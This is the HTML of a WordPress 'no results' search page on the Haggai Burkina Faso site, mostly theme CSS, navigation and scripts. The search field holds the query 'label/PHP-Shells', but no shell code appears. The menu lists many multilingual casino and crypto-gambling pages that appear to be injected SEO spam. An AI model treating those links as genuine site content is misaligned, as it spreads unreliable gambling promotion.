.et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_tablet .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_tablet h1,.et_pb_bg_layout_light_tablet h2,.et_pb_bg_layout_light_tablet h3,.et_pb_bg_layout_light_tablet h4,.et_pb_bg_layout_light_tablet h5,.et_pb_bg_layout_light_tablet h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_tablet.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_tablet{color:#666!important}.et_pb_bg_layout_dark_tablet,.et_pb_bg_layout_dark_tablet h1,.et_pb_bg_layout_dark_tablet h2,.et_pb_bg_layout_dark_tablet h3,.et_pb_bg_layout_dark_tablet h4,.et_pb_bg_layout_dark_tablet h5,.et_pb_bg_layout_dark_tablet h6{color:#fff!important}.et_pb_bg_layout_dark_tablet.et_pb_button,.et_pb_bg_layout_dark_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_tablet .et_pb_more_button{color:inherit}.et_pb_bg_layout_dark_tablet .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-tablet{text-align:left}.et_pb_module.et_pb_text_align_center-tablet{text-align:center}.et_pb_module.et_pb_text_align_right-tablet{text-align:right}.et_pb_module.et_pb_text_align_justified-tablet{text-align:justify}}@media (max-width:767px){.et_pb_more_button{display:inline-block!important}.et_overlay.et_pb_inline_icon_phone:before,.et_pb_inline_icon_phone:before{content:attr(data-icon-phone)}.et_parallax_bg.et_parallax_bg_phone_exist,.et_parallax_gradient.et_parallax_gradient_phone_exist{display:none}.et_parallax_bg.et_parallax_bg_phone,.et_parallax_gradient.et_parallax_gradient_phone{display:block}.et-hide-mobile{display:none!important}.et_pb_bg_layout_light_phone.et_pb_button,.et_pb_bg_layout_light_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_light_phone .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_phone .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_phone h1,.et_pb_bg_layout_light_phone h2,.et_pb_bg_layout_light_phone h3,.et_pb_bg_layout_light_phone h4,.et_pb_bg_layout_light_phone h5,.et_pb_bg_layout_light_phone h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_phone.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_phone{color:#666!important}.et_pb_bg_layout_dark_phone,.et_pb_bg_layout_dark_phone h1,.et_pb_bg_layout_dark_phone h2,.et_pb_bg_layout_dark_phone h3,.et_pb_bg_layout_dark_phone h4,.et_pb_bg_layout_dark_phone h5,.et_pb_bg_layout_dark_phone h6{color:#fff!important}.et_pb_bg_layout_dark_phone.et_pb_button,.et_pb_bg_layout_dark_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_phone .et_pb_more_button{color:inherit}.et_pb_module .et_pb_bg_layout_dark_phone.et_pb_button{color:#fff!important}.et_pb_bg_layout_dark_phone .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-phone{text-align:left}.et_pb_module.et_pb_text_align_center-phone{text-align:center}.et_pb_module.et_pb_text_align_right-phone{text-align:right}.et_pb_module.et_pb_text_align_justified-phone{text-align:justify}}@media (max-width:479px){a.et_pb_more_button{display:block}}@media (min-width:768px) and (max-width:980px){[data-et-multi-view-load-tablet-hidden=true]:not(.et_multi_view_swapped){display:none!important}}@media (max-width:767px){[data-et-multi-view-load-phone-hidden=true]:not(.et_multi_view_swapped){display:none!important}}.et_pb_menu.et_pb_menu--style-inline_centered_logo .et_pb_menu__menu nav ul{-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}@-webkit-keyframes multi-view-image-fade{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}50%{-webkit-transform:scale(1.01);transform:scale(1.01);opacity:1}to{-webkit-transform:scale(1);transform:scale(1);opacity:1}}
/*# sourceURL=divi-style-parent-inline-inline-css */
</style>
<link rel='stylesheet' id='divi-dynamic-css' href='http://haggai-bf.org/wp-content/et-cache/search/et-divi-dynamic.css?ver=1780303556' media='all' />
<link rel='stylesheet' id='divi-style-css' href='http://haggai-bf.org/wp-content/themes/Divi-child/style.css?ver=4.27.6' media='all' />
<link rel="https://api.w.org/" href="https://haggai-bf.org/wp-json/" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://haggai-bf.org/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.0" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" /><link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF-150x150.png" sizes="32x32" />
<link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<meta name="msapplication-TileImage" content="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<link rel="stylesheet" id="et-divi-customizer-global-cached-inline-styles" href="http://haggai-bf.org/wp-content/et-cache/global/et-divi-customizer-global.min.css?ver=1780281736" /></head>
<body class="search search-no-results wp-custom-logo wp-theme-Divi wp-child-theme-Divi-child et_pb_button_helper_class et_fixed_nav et_show_nav et_primary_nav_dropdown_animation_fade et_secondary_nav_dropdown_animation_fade et_header_style_left et_pb_footer_columns4 et_cover_background et_pb_gutter et_pb_gutters3 et_right_sidebar et_divi_theme et-db">
	<div id="page-container">

	
	
			<header id="main-header" data-height-onload="66">
			<div class="container clearfix et_menu_container">
							<div class="logo_container">
					<span class="logo_helper"></span>
					<a href="https://haggai-bf.org/">
						<img src="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" width="931" height="742" alt="HAGGAI BURKINA FASO" id="logo" data-height-percentage="54" />
					</a>
				</div>
							<div id="et-top-navigation" data-height="66" data-fixed-height="40">
											<nav id="top-menu-nav">
													<ul id="top-menu" class="nav">
																	<li ><a href="https://haggai-bf.org/">Accueil</a></li>
								
								<li class="page_item page-item-844"><a href="https://haggai-bf.org/bitcoin-jatszani-fiokellenorzes-utmutato/">Bitcoin játszani – fiókellenőrzés útmutató</a></li>
<li class="page_item page-item-840"><a href="https://haggai-bf.org/bitcoin-kasino-v-ceske-republice-kompletni-pruvodce-bonusy-rychle-vybery-a-bezpecnost/">Bitcoin kasino v České republice – kompletní průvodce, bonusy, rychlé výběry a bezpečnost</a></li>
<li class="page_item page-item-838"><a href="https://haggai-bf.org/btc-hrat-aplikace-a-mobilni-pruvodce/">BTC hrát: aplikace a mobilní průvodce</a></li>
<li class="page_item page-item-469"><a href="https://haggai-bf.org/canli-casino-siteleri-2026-en-iyi-ve-guvenilir-casino-listesi/">Canlı Casino Siteleri 2026 &#8211; En İyi ve Güvenilir Casino Listesi</a></li>
<li class="page_item page-item-832"><a href="https://haggai-bf.org/casino-bitcoin-guia-paso-a-paso-para-registrarte-e-iniciar-sesion/">Casino Bitcoin: guía paso a paso para registrarte e iniciar sesión</a></li>
<li class="page_item page-item-847"><a href="https://haggai-bf.org/crypto-casino-europe-review-bonuses-payments-mobile-guide-for-dutch-players/">Crypto Casino Europe Review – Bonuses, Payments &#038; Mobile Guide for Dutch Players</a></li>
<li class="page_item page-item-239"><a href="https://haggai-bf.org/magyar-casino-online-fiokellenorzes-lepesei-praktikus-utmutato/">Magyar casino online fiókellenőrzés lépései – Praktikus útmutató</a></li>
<li class="page_item page-item-41"><a href="https://haggai-bf.org/nous-contacter/">Nous contacter</a></li>
<li class="page_item page-item-828"><a href="https://haggai-bf.org/pin-up-az-rbaycanin-n-yaxsi-kazinosu-r-smi-sayt/">Pin Up &#8211; Azərbaycanın ən yaxşı kazinosu | Rəsmi sayt</a></li>
<li class="page_item page-item-826"><a href="https://haggai-bf.org/pin-up-casino-az-rbaycanda-onlayn-kazino-pin-up/">Pin Up Casino &#8211; Azərbaycanda onlayn kazino Pin-Up</a></li>
<li class="page_item page-item-821"><a href="https://haggai-bf.org/pin-up-casino-onlayn-az-rbaycan/">Pin Up Casino Onlayn Azərbaycan</a></li>
									<li class="cat-item cat-item-11"><a href="https://haggai-bf.org/category/public/">public</a>
</li>
							</ul>
												</nav>
					
					
					
											<div id="et_top_search">
							<span id="et_search_icon"></span>
						</div>
					
					<div id="et_mobile_nav_menu">
				<div class="mobile_nav closed">
					<span class="select_page">Sélectionner une page</span>
					<span class="mobile_menu_bar mobile_menu_bar_toggle"></span>
				</div>
			</div>				</div> <!-- #et-top-navigation -->
			</div> <!-- .container -->
						<div class="et_search_outer">
				<div class="container et_search_form_container">
					<form role="search" method="get" class="et-search-form" action="https://haggai-bf.org/">
					<input type="search" class="et-search-field" placeholder="Rechercher &hellip;" value="label/PHP-Shells" name="s" title="Rechercher:" />					</form>
					<span class="et_close_search_field"></span>
				</div>
			</div>
					</header> <!-- #main-header -->
			<div id="et-main-area">
	
<div id="main-content">
	<div class="container">
		<div id="content-area" class="clearfix">
			<div id="left-area">
		<div class="entry">
	<h1 class="not-found-title">Aucun résultat</h1>
	<p>La page demandée est introuvable. Essayez d&#039;affiner votre recherche ou utilisez le panneau de navigation ci-dessus pour localiser l&#039;article.</p>
</div>
			</div>

					</div>
	</div>
</div>


			<footer id="main-footer">
				

		
				<div id="footer-bottom">
					<div class="container clearfix">
				<ul class="et-social-icons">

	<li class="et-social-icon et-social-facebook">
		<a href="#" class="icon">
			<span>Facebook</span>
		</a>
	</li>
	<li class="et-social-icon et-social-twitter">
		<a href="#" class="icon">
			<span>X</span>
		</a>
	</li>
	<li class="et-social-icon et-social-instagram">
		<a href="#" class="icon">
			<span>Instagram</span>
		</a>
	</li>
	<li class="et-social-icon et-social-rss">
		<a href="https://haggai-bf.org/feed/" class="icon">
			<span>RSS</span>
		</a>
	</li>

</ul><div id="footer-info">Design JRB XSolutions |  (c) 2025 HAGGAI BURKINA FASO</div>					</div>
				</div>
			</footer>
		</div>


	</div>

	<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/Divi-child/*","/wp-content/themes/Divi/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script id="jquery-core-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
<script id="jquery-migrate-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
<script id="jquery-js-after">
jqueryParams.length&&$.each(jqueryParams,function(e,r){if("function"==typeof r){var n=String(r);n.replace("$","jQuery");var a=new Function("return "+n)();$(document).ready(a)}});
//# sourceURL=jquery-js-after
</script>
<script id="divi-custom-script-js-extra">
var DIVI = {"item_count":"%d Item","items_count":"%d Items"};
var et_builder_utils_params = {"condition":{"diviTheme":true,"extraTheme":false},"scrollLocations":["app","top"],"builderScrollLocations":{"desktop":"app","tablet":"app","phone":"app"},"onloadScrollLocation":"app","builderType":"fe"};
var et_frontend_scripts = {"builderCssContainerPrefix":"#et-boc","builderCssLayoutPrefix":"#et-boc .et-l"};
var et_pb_custom = {"ajaxurl":"http://haggai-bf.org/wp-admin/admin-ajax.php","images_uri":"http://haggai-bf.org/wp-content/themes/Divi/images","builder_images_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/images","et_frontend_nonce":"1ba54686f7","subscription_failed":"Veuillez v\u00e9rifier les champs ci-dessous pour vous assurer que vous avez entr\u00e9 les informations correctes.","et_ab_log_nonce":"6e1a125dd2","fill_message":"S'il vous pla\u00eet, remplissez les champs suivants:","contact_error_message":"Veuillez corriger les erreurs suivantes :","invalid":"E-mail non valide","captcha":"Captcha","prev":"Pr\u00e9c\u00e9dent","previous":"Pr\u00e9c\u00e9dente","next":"Prochaine","wrong_captcha":"Vous avez entr\u00e9 le mauvais num\u00e9ro dans le captcha.","wrong_checkbox":"Case \u00e0 cocher","ignore_waypoints":"no","is_divi_theme_used":"1","widget_search_selector":".widget_search","ab_tests":[],"is_ab_testing_active":"","page_id":"","unique_test_id":"","ab_bounce_rate":"","is_cache_plugin_active":"yes","is_shortcode_tracking":"","tinymce_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors","accent_color":"#7EBEC5","waypoints_options":[]};
var et_pb_box_shadow_elements = [];
//# sourceURL=divi-custom-script-js-extra
</script>
<script id="divi-custom-script-js" src="http://haggai-bf.org/wp-content/themes/Divi/js/scripts.min.js?ver=4.27.6"></script>
<script id="fitvids-js" src="http://haggai-bf.org/wp-content/themes/Divi/includes/builder/feature/dynamic-assets/assets/js/jquery.fitvids.js?ver=4.27.6"></script>
<script id="et-core-common-js" src="http://haggai-bf.org/wp-content/themes/Divi/core/admin/js/common.js?ver=4.27.6"></script>
</body>
</html>
